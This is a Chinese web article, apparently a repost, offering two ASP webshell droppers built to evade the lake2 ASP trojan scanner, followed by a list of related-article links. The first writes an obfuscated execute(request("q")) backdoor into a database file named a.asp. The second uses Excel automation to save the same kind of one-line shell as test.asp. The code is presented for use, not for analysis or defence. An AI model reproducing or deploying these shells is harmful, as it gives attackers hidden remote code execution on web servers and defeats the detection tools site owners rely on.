两个非常规ASP木马(可躲过扫描)
ASP 两个 扫描 木马 非常规
2023-06-13 09:14:11 时间
hanxiaolian
为了躲避lake2ASP站长管理助手而写..
一.绕过lake2Asp木马扫描的小马
复制代码代码如下:
为了躲避lake2ASP站长管理助手而写..
一.绕过lake2Asp木马扫描的小马
<%
setc=CreateObject("ADOX.Catalog")
c.create("Provider=Microsoft.Jet.OLEDB.4.0;DataSource="&Server.MapPath("a.asp"))
setc=Nothing
c&Server.MapPath("a.asp")
setconn=server.createobject("Adodb.Connection")
conn.openconnstr
conn.execute("createtablenomm(nomumaoleobject)")
setrs=server.createobject("adodb.recordset")
sql="SELECT*FROMnomm"
rs.opensql,conn,1,3
rs.addnew
rs("nomuma").appendchunk(chrB(asc("<"))&chrB(asc("%"))&chrB(asc("e"))&chrB
(asc("x"))&chrB(asc("e"))&chrB(asc("c"))&chrB(asc("u"))&chrB(asc("t"))&chrB(asc
("e"))&chrB(asc("+"))&chrB(asc("r"))&chrB(asc("e"))&chrB(asc("q"))&chrB(asc
("u"))&chrB(asc("e"))&chrB(asc("s"))&chrB(asc("t"))&chrB(asc("("))&chrB(34)
&chrB(asc("q"))&chrB(34)&chrB(asc(")"))&chrB(asc("%"))&chrB(asc(">")))
rs.update
rs.close
setrs=nothing
conn.close
setconn=nothing
%>
二.xls版aspwebshell
<%
SetxlA=Server.CreateObject("Excel.Application")
xlA.Visible=False
xlA.Workbooks.Add
SetxlWorksheet=xlA.Worksheets(1)
xlWorksheet.Cells(1,1).Value="<%ex"&"ec"&"ute(request(""q""))"+chr(37)+">"
"strFile="d:/test.asp"
strFile=Server.MapPath("test.asp")
xlWorkSheet.SaveAsstrFile
xlA.Quit
SetxlWorksheet=Nothing
SetxlA=Nothing
%>
相关文章
- 项目实战:ASP.NET:B/S结构 个人空间相册、照片上传下载系统
- 服务器显示asp错误,Windows7 IIS+ASP http500内部服务器错误(显示它的本来面目)
- 比较 MySQL 与 ASP 的区别(mysql和asp)
- .net搭建ASP.NET应用程序在Linux系统上(linux搭建asp)
- ASP操作MySQL数据库的实现(asp读取mysql)
- 用MSSQL查询ASP:从初学者到高手(mssql查询asp)
- ASP连接MySQL实现优雅的数据查询(asp连接查询mysql)
- 解决ASP连接MySQL报错的排查方法(asp连接mysql报错)
- 提升ASP连接MySQL性能优化快人一步(asp连接mysql性能)
- ASP读取MySQL时间的方式(asp读取mysql时间)
- 使用MySQL轻松实现ASP数据库应用(asp数据库用mysql)
- ASP开发搭配MySQL更加优雅的数据库处理(asp加mysql)
- ASP搭配MySQL使用的缺点及解决办法(asp使用mysql缺点)
- MySQL语句实现 ASP 程序开发精彩功能(asp mysql语句)
- ASP搭配MySQL实现完美源代码(asp mysql源代码)
- 使用ASP连接Oracle数据源的简便方式(asp数据源oracle)
- 内容添加asp.net
- 厉害的用Asp获取Dll加密新闻内容
- 可用的ASP无重复数字随机函数,数组实现,并应用于随机显示记录集
- ASP环境下VBS事件应用示例代码
- asp实现计算两个时间内的工作日的函数
- 易心asp分页类v1.0
- asp身份证验证代码函数
- asp下经常用到的代码
- asp类型转换函数大全
- ASP相关文章或者相关产品
- asp.net禁用viewstate在web.config里
- asp.netgetRemoteAddr()与getRemoteHost()的区别
- asp.net下使用jquery的ajax+WebService+json实现无刷新取后台值的实现代码
- asp.net通过httpModule计算页面的执行时间
- asp.net生成Excel并导出下载五种实现方法
- ASP.NET之Response.Cookies.Remove无法删除COOKIE的原因
- asp.net获取网站目录物理路径示例
- asp中使用MSXML2.DOMDocument处理XML数据时的注意事项
- ASP.NET实现读取Excel内容并在Web上显示
- ASP中Null,Empty,Nothing的区别分析